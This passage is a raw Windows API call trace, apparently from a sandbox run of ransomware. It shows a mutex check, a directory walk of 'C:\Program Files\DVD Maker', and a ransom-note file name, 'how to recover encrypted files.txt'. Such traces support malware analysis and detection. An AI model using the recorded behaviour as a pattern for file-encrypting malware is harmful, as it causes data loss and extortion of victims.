(hMem=0x440004) returned 0x54f168 [0057.245] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.245] GlobalUnlock (hMem=0x440004) returned 0 [0057.245] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.245] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.245] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.245] GlobalUnlock (hMem=0x440004) returned 0 [0057.245] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.245] GlobalUnlock (hMem=0x44000c) returned 0 [0057.245] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.245] CharLowerBuffW (in: lpsz="WMM2CLIP.dll.mui", cchLength=0x10 | out: lpsz="wmm2clip.dll.mui") returned 0x10 [0057.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wð\x18", lpUsedDefaultChar=0x0) returned 1 [0057.246] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui", cchWideChar=49, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui", lpUsedDefaultChar=0x0) returned 49 [0057.246] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0057.246] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiP.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0057.246] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0057.246] GetLastError () returned 0x12 [0057.246] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.247] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.247] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.247] GlobalUnlock (hMem=0x44000c) returned 0 [0057.247] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.247] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.247] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.247] GlobalUnlock (hMem=0x44000c) returned 0 [0057.247] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.247] GlobalUnlock (hMem=0x440004) returned 0 [0057.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.247] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0057.247] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0057.247] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.247] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.247] GlobalUnlock (hMem=0x440004) returned 0 [0057.247] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.247] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.247] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.247] GlobalUnlock (hMem=0x440004) returned 0 [0057.247] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.247] GlobalUnlock (hMem=0x44000c) returned 0 [0057.247] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.247] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.248] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.248] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.248] GlobalUnlock (hMem=0x44000c) returned 0 [0057.248] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.248] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.248] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.248] GlobalUnlock (hMem=0x44000c) returned 0 [0057.248] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.248] GlobalUnlock (hMem=0x440004) returned 0 [0057.248] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.248] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0057.248] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.248] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.248] GlobalUnlock (hMem=0x440004) returned 0 [0057.248] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.248] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.248] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.248] GlobalUnlock (hMem=0x440004) returned 0 [0057.248] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.248] GlobalUnlock (hMem=0x44000c) returned 0 [0057.248] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.248] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0057.248] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.248] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.248] GlobalUnlock (hMem=0x44000c) returned 0 [0057.248] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.249] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.249] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.249] GlobalUnlock (hMem=0x44000c) returned 0 [0057.249] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.249] GlobalUnlock (hMem=0x440004) returned 0 [0057.249] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.249] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0057.249] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.249] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.249] GlobalUnlock (hMem=0x440004) returned 0 [0057.249] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.249] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.249] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.249] GlobalUnlock (hMem=0x440004) returned 0 [0057.249] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.249] GlobalUnlock (hMem=0x44000c) returned 0 [0057.249] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.249] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0057.249] GetLastError () returned 0x12 [0057.249] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.250] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0057.250] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.250] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.250] GlobalUnlock (hMem=0x44000c) returned 0 [0057.250] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.250] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.250] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.250] GlobalUnlock (hMem=0x44000c) returned 0 [0057.250] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.250] GlobalUnlock (hMem=0x440004) returned 0 [0057.250] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.250] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0057.250] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.250] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.250] GlobalUnlock (hMem=0x440004) returned 0 [0057.250] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.250] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.250] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.250] GlobalUnlock (hMem=0x440004) returned 0 [0057.250] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.250] GlobalUnlock (hMem=0x44000c) returned 0 [0057.250] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.250] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6afeb0, ftCreationTime.dwHighDateTime=0x1d54774, ftLastAccessTime.dwLowDateTime=0xb7e28da0, ftLastAccessTime.dwHighDateTime=0x1d59d9a, ftLastWriteTime.dwLowDateTime=0xb7e28da0, ftLastWriteTime.dwHighDateTime=0x1d59d9a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mason fri.exe", cAlternateFileName="MASONF~1.EXE")) returned 1 [0057.250] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.250] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.250] GlobalUnlock (hMem=0x44000c) returned 0 [0057.251] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.251] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.251] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.251] GlobalUnlock (hMem=0x44000c) returned 0 [0057.251] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.251] GlobalUnlock (hMem=0x440004) returned 0 [0057.251] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.251] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0057.251] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.251] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.251] GlobalUnlock (hMem=0x440004) returned 0 [0057.251] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.251] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.251] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.251] GlobalUnlock (hMem=0x440004) returned 0 [0057.251] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.251] GlobalUnlock (hMem=0x44000c) returned 0 [0057.251] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.251] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0057.251] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.251] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.251] GlobalUnlock (hMem=0x44000c) returned 0 [0057.251] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.251] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.251] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.251] GlobalUnlock (hMem=0x44000c) returned 0 [0057.252] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.252] GlobalUnlock (hMem=0x440004) returned 0 [0057.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.252] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0057.252] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.252] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.252] GlobalUnlock (hMem=0x440004) returned 0 [0057.252] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.252] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.252] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.252] GlobalUnlock (hMem=0x440004) returned 0 [0057.252] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.252] GlobalUnlock (hMem=0x44000c) returned 0 [0057.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.252] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0057.252] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.252] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.252] GlobalUnlock (hMem=0x44000c) returned 0 [0057.252] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.252] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.252] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.252] GlobalUnlock (hMem=0x44000c) returned 0 [0057.252] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.252] GlobalUnlock (hMem=0x440004) returned 0 [0057.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.252] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0057.253] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.253] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.253] GlobalUnlock (hMem=0x440004) returned 0 [0057.253] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.253] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.253] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.253] GlobalUnlock (hMem=0x440004) returned 0 [0057.253] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.253] GlobalUnlock (hMem=0x44000c) returned 0 [0057.253] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.253] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0057.253] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.253] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.253] GlobalUnlock (hMem=0x44000c) returned 0 [0057.253] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.253] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.253] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.253] GlobalUnlock (hMem=0x44000c) returned 0 [0057.253] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.253] GlobalUnlock (hMem=0x440004) returned 0 [0057.253] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.253] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0057.253] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.253] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.253] GlobalUnlock (hMem=0x440004) returned 0 [0057.253] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.254] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.254] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.254] GlobalUnlock (hMem=0x440004) returned 0 [0057.254] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.254] GlobalUnlock (hMem=0x44000c) returned 0 [0057.254] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, 